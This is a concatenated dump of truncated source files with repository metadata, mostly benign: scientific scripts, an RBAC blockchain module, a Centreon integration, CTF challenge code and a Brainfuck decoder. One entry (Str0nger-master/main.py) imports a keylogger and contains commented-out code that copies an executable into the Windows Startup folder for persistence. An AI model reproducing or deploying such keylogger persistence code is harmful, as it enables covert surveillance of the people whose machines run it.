] | null | null | null | v351/python/saegezahn.py | chrbeckm/anfaenger-praktikum | 51764ff23901de1bc3d16dc935acfdc66bb2b2b7 | [
"MIT"
] | 1 | 2020-12-06T21:24:58.000Z | 2020-12-06T21:24:58.000Z | import numpy as np
from scipy.stats import sem
import matplotlib.pyplot as plt
x = np.ones(10)
dv, ve, u, ue = np.genfromtxt('python/saegezahnanalyse.txt', unpack=True)
for i in range(10):
x[i] = u[i]*(1+i)*np.pi/2
e = x.mean()
n = np.ones(10)
for m in range(10):
n[m] = 2*e/(np.pi*(m+1))
f = 100-100*u/n
ea = ... | 21.5 | 108 | 0.647287 |
d0e4f8f78e7384c0b75dd3fca2500ad15b2b8423 | 12,458 | py | Python | rbac/server/blockchain_transactions/role_transaction.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 75 | 2018-04-06T09:13:34.000Z | 2020-05-18T18:59:47.000Z | rbac/server/blockchain_transactions/role_transaction.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 989 | 2018-04-18T21:01:56.000Z | 2019-10-23T15:37:09.000Z | rbac/server/blockchain_transactions/role_transaction.py | fthornton67/sawtooth-next-directory | 79479afb8d234911c56379bb1d8abf11f28ef86d | [
"Apache-2.0"
] | 72 | 2018-04-13T18:29:12.000Z | 2020-05-29T06:00:33.000Z | # Copyright 2019 Contributors to Hyperledger Sawtooth
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | 35.492877 | 85 | 0.616231 |
f5e8b43470aece8fefed58283aacb6fa9e7a9417 | 569 | py | Python | task_screencast.py | covid-19-impact-lab/presentations | 2c9ccb6975b27b7987b2ddc6379996d57bee320d | [
"MIT"
] | null | null | null | task_screencast.py | covid-19-impact-lab/presentations | 2c9ccb6975b27b7987b2ddc6379996d57bee320d | [
"MIT"
] | 16 | 2020-07-20T05:37:36.000Z | 2021-01-27T07:36:16.000Z | task_screencast.py | covid-19-impact-lab/presentations | 2c9ccb6975b27b7987b2ddc6379996d57bee320d | [
"MIT"
] | null | null | null | from pathlib import Path
import pytask
from config import revealjs_pandoc
names = [
"labour-market-wellbeing-during-covid-19-netherlands",
"oecd-experiences-liss",
"work-hours-pisa",
]
@pytask.mark.parametrize(
"depends_on, produces",
[
(
[f"{n}.md", "template-revealjs.htm... | 19.62069 | 66 | 0.609842 |
eb056c08f7b4134164cafc68aa23d9f4787587bf | 668 | py | Python | Str0nger-master/main.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | Str0nger-master/main.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | Str0nger-master/main.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z |
from keyloggerskill import keylogger
import time
import threading
from keystroke import main
"""
import shutil
import os
name = os.getlogin()
try:
target = "C:\\Users\\{0}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup".format(name)
shutil.copy('main.exe', target)
... | 18.054054 | 112 | 0.702096 |
ded0601559fae34f12ddaf81285b19caa6fcd531 | 9,290 | py | Python | module/RSShubApiPackage.py | lonelyion/TweetToBot-Docker | ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278 | [
"MIT"
] | null | null | null | module/RSShubApiPackage.py | lonelyion/TweetToBot-Docker | ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278 | [
"MIT"
] | null | null | null | module/RSShubApiPackage.py | lonelyion/TweetToBot-Docker | ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278 | [
"MIT"
] | null | null | null | # -*- coding: UTF-8 -*-
import time
import requests
import xmltodict
import traceback
from datetime import datetime, timedelta, timezone
from load_config import config
from helper import getlogger, TokenBucket
logger = getlogger(__name__)
"""
用于支持RSS操作
解析RSS及打包RSS数据
支持RSShub及指定RSS源
"""
proxy = config['RSS_proxy']
head... | 31.385135 | 79 | 0.524865 |
7207802e633cbc96ca974d6bca161a0803397b03 | 861 | py | Python | UIUCTF/2021/crypto/pow_erful/pow_erful.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | UIUCTF/2021/crypto/pow_erful/pow_erful.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | UIUCTF/2021/crypto/pow_erful/pow_erful.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | import os
import secrets
import hashlib
# 2^64 = a lot of hashes, gpu go brr
FLAG_DIFFICULTY = 64
def main():
for difficulty in range(1, FLAG_DIFFICULTY):
print("You are on: Level", difficulty, "/", FLAG_DIFFICULTY)
print("Please complete this Proof of Work to advance to the next level")
p... | 27.774194 | 80 | 0.578397 |
9d447bf20b56ca189a606b069ba353ac0cfa06c6 | 5,672 | py | Python | Packs/Centreon/Integrations/Centreon/Centreon.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Centreon/Integrations/Centreon/Centreon.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Centreon/Integrations/Centreon/Centreon.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
''' IMPORTS '''
# disable insecure warnings
requests.packages.urllib3.disable_warnings()
''' GLOBAL VARS '''
SERVER_NAME = demisto.params()['server']
USERNAME = demisto.params()['credentials']['identifier']
PASSWORD = demisto.p... | 31.687151 | 121 | 0.639986 |
c22a20e17247324bd65d0dc4c6a8485091bf1ee5 | 410 | py | Python | pacman-arch/test/pacman/tests/sync-update-assumeinstalled.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/sync-update-assumeinstalled.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/sync-update-assumeinstalled.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Update a package using --assume-installed"
lp1 = pmpkg("pkg1", "1.0-1")
lp2 = pmpkg("pkg2", "1.0-1")
lp2.depends = ["pkg1=1.0"]
sp1 = pmpkg("pkg1", "2.0-1")
for p in lp1, lp2:
self.addpkg2db("local", p);
self.addpkg2db("sync", sp1);
self.args = "-Su --assume-installed pkg1=1.0"
self.addrule(... | 20.5 | 62 | 0.660976 |
dfe8679c6804878c0a8d5fcedd806339ffc57f0a | 17,798 | py | Python | code/02_study_population/CCU013_18_add_vaccination_status.py | BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping | 83afef23f96c7b31fef64c6f735737d1afa3082d | [
"Apache-2.0"
] | null | null | null | code/02_study_population/CCU013_18_add_vaccination_status.py | BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping | 83afef23f96c7b31fef64c6f735737d1afa3082d | [
"Apache-2.0"
] | null | null | null | code/02_study_population/CCU013_18_add_vaccination_status.py | BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping | 83afef23f96c7b31fef64c6f735737d1afa3082d | [
"Apache-2.0"
] | null | null | null | # Databricks notebook source
# MAGIC %md
# MAGIC # Add vaccination status
# MAGIC
# MAGIC **Description**
# MAGIC
# MAGIC This notebook identifies vaccination status for our paper cohort
# MAGIC
# MAGIC **Project(s)** CCU013
# MAGIC
# MAGIC **Author(s)** Johan Thygesen, Chris Tomlinson
# MAGIC
# MAGIC **R... | 45.403061 | 179 | 0.755197 |
a0c404d5c0f7d8e405e307faea965aa2a9afa822 | 168 | py | Python | Chapter4_Intermediate/Set.py | franneck94/UdemyPythonIntro | 4895a91a04eedce7d59b61bf12e5aa209fe60f85 | [
"MIT"
] | 2 | 2021-02-13T19:18:00.000Z | 2021-11-10T09:54:49.000Z | Chapter4_Intermediate/Set.py | franneck94/UdemyPythonIntro | 4895a91a04eedce7d59b61bf12e5aa209fe60f85 | [
"MIT"
] | null | null | null | Chapter4_Intermediate/Set.py | franneck94/UdemyPythonIntro | 4895a91a04eedce7d59b61bf12e5aa209fe60f85 | [
"MIT"
] | null | null | null | l1 = ["a", "b", "a", "c"]
print(l1)
s1 = set(l1)
print(s1)
s2 = set(("a", "d"))
print(s2)
print(s1.intersection(s2))
print(s1.union(s2))
print(s1.difference(s2))
| 10.5 | 26 | 0.565476 |
f8497071efd5476db483a52d859e72b0f9a35a8d | 3,839 | py | Python | lib/python/qmk/cli/flash.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | null | null | null | lib/python/qmk/cli/flash.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | null | null | null | lib/python/qmk/cli/flash.py | fzf/qmk_toolbox | 10d6b425bd24b45002555022baf16fb11254118b | [
"MIT"
] | null | null | null | """Compile and flash QMK Firmware
You can compile a keymap already in the repo or using a QMK Configurator export.
A bootloader must be specified.
"""
import subprocess
from argparse import FileType
from milc import cli
import qmk.path
from qmk.decorators import automagic_keyboard, automagic_keymap
from qmk.commands... | 43.134831 | 173 | 0.691065 |
e42bc3ecd78afdcd6dd195b1eca95f3f956055ec | 92 | py | Python | 2014/03/quiz-economy/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 14 | 2015-05-08T13:41:51.000Z | 2021-02-24T12:34:55.000Z | 2014/03/quiz-economy/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | null | null | null | 2014/03/quiz-economy/graphic_config.py | nprapps/graphics-archive | 97b0ef326b46a959df930f5522d325e537f7a655 | [
"FSFAP"
] | 7 | 2015-04-04T04:45:54.000Z | 2021-02-18T11:12:48.000Z | #!/usr/bin/env python
COPY_GOOGLE_DOC_KEY = '0Ala-N4Y4VPXIdEJNTDFCalVCQWNDRXpCN3Z0dzdyYnc'
| 23 | 68 | 0.836957 |
e4ff798ea8d78ccd541097fda27048db62f52612 | 2,414 | py | Python | LIT/2021/crypto/Tree_Hash/treehash.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | LIT/2021/crypto/Tree_Hash/treehash.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | LIT/2021/crypto/Tree_Hash/treehash.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | from sympy import prevprime
from random import randint
import sys
#init
sys.setrecursionlimit(1000)
#constants
n = 100
m = prevprime(n ** (n - 2))
k = 65537
w = randint(1, n)
mx = 80 #less than log256(m)
flagkey = b"This piece of text is the flag key wow omg!"
flag = open("./flag.txt", "r").read()
#hash funcs
d... | 18.859375 | 112 | 0.517813 |
f231152f6696fcfc8882b41f8a261b3f3a9d0fb5 | 5,817 | py | Python | tensorflow/tf-adversarial/models.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:16:23.000Z | 2019-05-10T09:16:23.000Z | tensorflow/tf-adversarial/models.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | null | null | null | tensorflow/tf-adversarial/models.py | gopala-kr/ds-notebooks | bc35430ecdd851f2ceab8f2437eec4d77cb59423 | [
"MIT"
] | 1 | 2019-05-10T09:17:28.000Z | 2019-05-10T09:17:28.000Z | import math
import tensorflow as tf
def base_name(var):
"""Extracts value passed to name= when creating a variable"""
return var.name.split('/')[-1].split(':')[0]
class Layer(object):
def __init__(self, input_sizes, output_size, scope):
"""Cretes a neural network layer."""
if type(input_si... | 44.40458 | 126 | 0.600481 |
4b6a84d556714c9c6776429dc4d1ab2a733dfe1a | 456 | pyw | Python | session13/sessionapp.pyw | NeumannSven/pyshb_programmierkurs | 518da3766dff36e938b36c49d410edb52c0cb32c | [
"MIT"
] | 2 | 2019-10-26T12:47:05.000Z | 2020-07-07T16:36:19.000Z | session13/sessionapp.pyw | NeumannSven/pyshb_programmierkurs | 518da3766dff36e938b36c49d410edb52c0cb32c | [
"MIT"
] | null | null | null | session13/sessionapp.pyw | NeumannSven/pyshb_programmierkurs | 518da3766dff36e938b36c49d410edb52c0cb32c | [
"MIT"
] | 4 | 2020-02-28T13:43:05.000Z | 2020-12-02T10:39:46.000Z | import wx
import session13
class Frame(session13.MainFrame):
def doButtonSet( self, event ):
self.m_textCtrlParam1.SetValue("Hallo Welt!")
def doFileExit( self, event ):
self.Destroy()
class MainApp(wx.App):
def OnInit(self):
self.mainframe = Frame(None)
... | 18.24 | 54 | 0.583333 |
8a941819793803a2446a874c899cf65a9c66c56b | 1,756 | py | Python | GeraKml.py | jcofprojects/gerakml | c187e60b2fd4c8c00e58c4e6f74e58f0e1a4f34a | [
"MIT"
] | null | null | null | GeraKml.py | jcofprojects/gerakml | c187e60b2fd4c8c00e58c4e6f74e58f0e1a4f34a | [
"MIT"
] | null | null | null | GeraKml.py | jcofprojects/gerakml | c187e60b2fd4c8c00e58c4e6f74e58f0e1a4f34a | [
"MIT"
] | null | null | null | from pyautocad import Autocad, APoint
from openpyxl import load_workbook
import utm
class Coordenadas:
def __init__(self, nome, pX, pY, pZ):
self.nome = nome
self.pX = pX
self.pY = pY
self.pZ = pZ
#Conexao com a Planilha de Coordenadas
wb = load_workbook(filename = 'Coordenadas.xls... | 38.173913 | 187 | 0.623007 |
0a61052ca14ce16ffe96c32deb798841a02adbc7 | 7,289 | py | Python | tests/test_netznutzungsrechnung.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | tests/test_netznutzungsrechnung.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | tests/test_netznutzungsrechnung.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | from datetime import datetime, timezone
from decimal import Decimal
import pytest # type:ignore[import]
from bo4e.bo.geschaeftspartner import Geschaeftspartner
from bo4e.bo.netznutzungsrechnung import Netznutzungsrechnung, NetznutzungsrechnungSchema
from bo4e.com.betrag import Betrag
from bo4e.com.rechnungsposition ... | 49.585034 | 108 | 0.601866 |
0a9f9ea11f78569ac7cba22922d59e29ff70d78b | 9,841 | py | Python | renderers/fixed/two_d.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | 2 | 2021-01-07T01:10:49.000Z | 2022-01-21T09:37:16.000Z | renderers/fixed/two_d.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | null | null | null | renderers/fixed/two_d.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | null | null | null | from renderers.base import BaseRenderer
from time import sleep
from multiprocessing import Process, Lock
from enum import Enum
import random
import time
import pygame
import pygame.locals
class GameEvent:
def __init__(self, type, state):
self.type = type
self.state = state
class GameEventType(E... | 33.13468 | 111 | 0.495173 |
7c30bb35753289c43436ca8e77cd46ead3511923 | 4,280 | py | Python | SequenceModel/check_feature.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
] | null | null | null | SequenceModel/check_feature.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
] | null | null | null | SequenceModel/check_feature.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
] | null | null | null | import os
import pandas as pd
import numpy as np
import gc
from settings import *
import random
def save_study():
if not os.path.exists(csv_root):
os.makedirs(csv_root)
all_df = pd.read_csv(rf'{csv_root}/train_meta_id_seriser.csv')
StudyInstance = list(all_df['StudyInstance'].unique())
random.... | 35.371901 | 113 | 0.633645 |
7c3498d389380605253874d69ec440a8001ca836 | 322 | py | Python | pacman-arch/test/pacman/tests/sync042.py | Maxython/pacman-for-termux | 3b208eb9274cbfc7a27fca673ea8a58f09ebad47 | [
"MIT"
] | 23 | 2021-05-21T19:11:06.000Z | 2022-03-31T18:14:20.000Z | source/pacman-6.0.1/test/pacman/tests/sync042.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 11 | 2021-05-21T12:08:44.000Z | 2021-12-21T08:30:08.000Z | source/pacman-6.0.1/test/pacman/tests/sync042.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-09-26T08:44:40.000Z | 2021-09-26T08:44:40.000Z | self.description = "Install a sync package conflicting with a local one"
sp = pmpkg("pkg1")
sp.conflicts = ["pkg2"]
self.addpkg2db("sync", sp);
lp = pmpkg("pkg2")
self.addpkg2db("local", lp);
self.args = "-S %s" % sp.name
self.addrule("PACMAN_RETCODE=1")
self.addrule("!PKG_EXIST=pkg1")
self.addrule("PKG_EXIST=pkg2"... | 21.466667 | 72 | 0.695652 |
7c5e72ab06a3dd3c270fbb463eb59314775f06a2 | 602 | py | Python | src/classifier/non_torch/save_and_load_model.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 14 | 2021-08-24T12:36:37.000Z | 2022-03-18T12:14:36.000Z | src/classifier/non_torch/save_and_load_model.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | null | null | null | src/classifier/non_torch/save_and_load_model.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 1 | 2021-10-21T20:22:55.000Z | 2021-10-21T20:22:55.000Z | import os
import hydra.utils
from joblib import dump, load
def save_model(output_path, classifier, logger=None):
output_path = hydra.utils.to_absolute_path(output_path)
os.makedirs(output_path, exist_ok=True)
if logger is not None:
logger.info(f"Storing model at {output_path}.")
dump(classif... | 27.363636 | 63 | 0.727575 |
7c611f77e5251d2d5956e9909557c15e2e93ca33 | 3,631 | py | Python | Packs/CommonWidgets/Scripts/GetLargestInvestigations/GetLargestInvestigations_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CommonWidgets/Scripts/GetLargestInvestigations/GetLargestInvestigations_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CommonWidgets/Scripts/GetLargestInvestigations/GetLargestInvestigations_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from typing import Dict
import demistomock as demisto
raw_incidents_data = [
{
'buckets':
{
'investigations-4185': {
'keyN': 133,
'leafSize': '1.6 MB'
},
'investigations-4187': {
'keyN': ... | 29.048 | 102 | 0.544478 |
7ccdb4ea75b9f6f2de3ec82fffc8ede6e2fff994 | 1,450 | py | Python | LeetCode_problems/Container With Most Water/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 165 | 2020-10-03T08:01:11.000Z | 2022-03-31T02:42:08.000Z | LeetCode_problems/Container With Most Water/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 383 | 2020-10-03T07:39:11.000Z | 2021-11-20T07:06:35.000Z | LeetCode_problems/Container With Most Water/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 380 | 2020-10-03T08:05:04.000Z | 2022-03-19T06:56:59.000Z | # -*- coding: utf-8 -*-
"""
Created on Mon Oct 5 2020
@author: Shrey1608
"""
# Approach : 1) Brute force : In this case, we will simply consider the area for every possible pair of the lines and find out the maximum area out of those. (Time complexity= O(n^2) || space complexity = O(1))
# 2) Two pointer ... | 45.3125 | 466 | 0.606207 |
7cfd49242eae97245df39e4b44eebd9256ac3a49 | 6,497 | py | Python | pylvm2/pylvm/lvm.py | lihuiba/SoftSAN | 1b8ab2cae92b7aac34211909b27d4ebe595275d7 | [
"Apache-2.0"
] | 1 | 2015-08-02T09:53:18.000Z | 2015-08-02T09:53:18.000Z | pylvm2/pylvm/lvm.py | lihuiba/SoftSAN | 1b8ab2cae92b7aac34211909b27d4ebe595275d7 | [
"Apache-2.0"
] | null | null | null | pylvm2/pylvm/lvm.py | lihuiba/SoftSAN | 1b8ab2cae92b7aac34211909b27d4ebe595275d7 | [
"Apache-2.0"
] | 2 | 2018-03-21T04:59:50.000Z | 2019-12-03T15:54:17.000Z | #from pylvm import *
import logging
import os
from ioutilities import process_call_argv
from objects import PhysicalVolume,VolumeGroup,LogicalVolume
LVM_PATH = "/usr/sbin"
LVMDISKSCAN_BIN_PATH = os.path.join(LVM_PATH, 'lvmdiskscan')
if os.access(LVMDISKSCAN_BIN_PATH, os.F_OK) == False: LVM_PATH="/sbin/"
LVM_BIN_PATH =... | 30.218605 | 137 | 0.675081 |
6b00562c372c8021422220ddab9e2a3aae73ecb2 | 7,668 | py | Python | bigbench/benchmark_tasks/context_definition_alignment/task.py | tanujdhiman/BIG-bench | 38f16ffb3d4cae77324a71d6b63c1a5bcdadc445 | [
"Apache-2.0"
] | null | null | null | bigbench/benchmark_tasks/context_definition_alignment/task.py | tanujdhiman/BIG-bench | 38f16ffb3d4cae77324a71d6b63c1a5bcdadc445 | [
"Apache-2.0"
] | null | null | null | bigbench/benchmark_tasks/context_definition_alignment/task.py | tanujdhiman/BIG-bench | 38f16ffb3d4cae77324a71d6b63c1a5bcdadc445 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, so... | 37.773399 | 112 | 0.582812 |
6b16a8175a85efe762424594ef6705a82daf6cf6 | 33,413 | py | Python | FP_2017/23/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 3 | 2016-04-27T17:07:00.000Z | 2022-02-02T15:43:15.000Z | FP_2017/23/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | 5 | 2016-04-27T17:10:03.000Z | 2017-06-20T14:54:20.000Z | FP_2017/23/PythonSkript.py | DimensionalScoop/kautschuk | 90403f97cd60b9716cb6a06668196891d5d96578 | [
"MIT"
] | null | null | null | ##################################################### Import system libraries ######################################################
import matplotlib as mpl
mpl.rcdefaults()
mpl.rcParams.update(mpl.rc_params_from_file('meine-matplotlibrc'))
mpl.rcParams['axes.linewidth'] = 0.1 #set the value globally
import matplotlib... | 41.506832 | 174 | 0.665759 |
86fd6dfa82868a08f293610e89d77bf5580d8f8b | 5,825 | py | Python | ciphey/basemods/Decoders/brainfuck.py | joesitton/Ciphey | 862555f13e3915428a2f4ada5538fdf0be77ffcd | [
"MIT"
] | 1 | 2020-10-05T11:25:18.000Z | 2020-10-05T11:25:18.000Z | ciphey/basemods/Decoders/brainfuck.py | joesitton/Ciphey | 862555f13e3915428a2f4ada5538fdf0be77ffcd | [
"MIT"
] | 1 | 2020-10-06T09:18:17.000Z | 2020-10-06T09:18:17.000Z | ciphey/basemods/Decoders/brainfuck.py | joesitton/Ciphey | 862555f13e3915428a2f4ada5538fdf0be77ffcd | [
"MIT"
] | null | null | null | from typing import Optional, Dict, List, Tuple
from ciphey.iface import Config, ParamSpec, T, U, Decoder, registry, WordList
from loguru import logger
import re
import time
@registry.register
class Brainfuck(Decoder[str, str]):
def decode(self, ctext: T) -> Optional[U]:
"""
Takes a ciphertext ... | 33.866279 | 100 | 0.549185 |
ed25e1566915fdac8b626c25d6587c647df7e0de | 1,715 | py | Python | logig.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | logig.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | logig.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | import os,sys,time,requests,json
from time import sleep
def log_ig(user,pas):
sleep(2)
agent="Mozilla/5.0 (Linux; Android 9; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Mobile Safari/537.36"
csrf=requests.get('https://www.instagram.com',headers={"user-agent":agent}).cookies["csrftok... | 45.131579 | 132 | 0.539359 |
9c02756330e7247bdfd4c81320daea6b277eca7f | 274 | py | Python | velocity-master/velocity/__version__.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | velocity-master/velocity/__version__.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | velocity-master/velocity/__version__.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | __title__ = 'velocity'
__description__ = 'DNS caching for humans'
__url__ = 'https://github.com/s0md3v/velocity'
__version__ = '0.0.1'
__author__ = 'Somdev Sangwan'
__author_email__ = 's0md3v@gmail.com'
__license__ = 'GPL v3'
__copyright__ = 'Copyright 2020 Somdev Sangwan'
| 30.444444 | 47 | 0.759124 |
13485fc80974b393da8b4fc1adda174dd3717c67 | 12,080 | py | Python | tests/core/test_model.py | YourThomasLee/rasa | 501b1b312c158e19e54c67cbca8ed3728ea60ca3 | [
"Apache-2.0"
] | 5 | 2020-08-28T06:44:31.000Z | 2021-03-14T18:46:01.000Z | tests/core/test_model.py | alfredfrancis/rasa | d8d226408f20cc2563c3aefbccef3e364a447666 | [
"Apache-2.0"
] | 75 | 2020-08-06T08:55:42.000Z | 2022-03-01T13:22:11.000Z | tests/core/test_model.py | alfredfrancis/rasa | d8d226408f20cc2563c3aefbccef3e364a447666 | [
"Apache-2.0"
] | 3 | 2019-02-27T10:13:16.000Z | 2019-07-26T08:33:45.000Z | import os
import tempfile
import time
import shutil
from pathlib import Path
from typing import Text, Optional, Any
from unittest.mock import Mock
import pytest
from _pytest.tmpdir import TempdirFactory
import rasa
import rasa.core
import rasa.nlu
from rasa.importers.rasa import RasaFileImporter
from rasa.constants i... | 30.428212 | 88 | 0.679967 |
138deaea1967b835c898f323552fdf37083959f9 | 523 | py | Python | Algorithms/Implementation/save_the_prisoners.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | Algorithms/Implementation/save_the_prisoners.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | Algorithms/Implementation/save_the_prisoners.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import sys
from collections import Counter
from operator import itemgetter
from functools import reduce
import sys
def saveThePrisoner(n, m, s):
warn = m - 1 + s
if warn > n:
warn %= n
if warn == 0:
# all prisoner has it, so last person index
warn... | 21.791667 | 55 | 0.583174 |
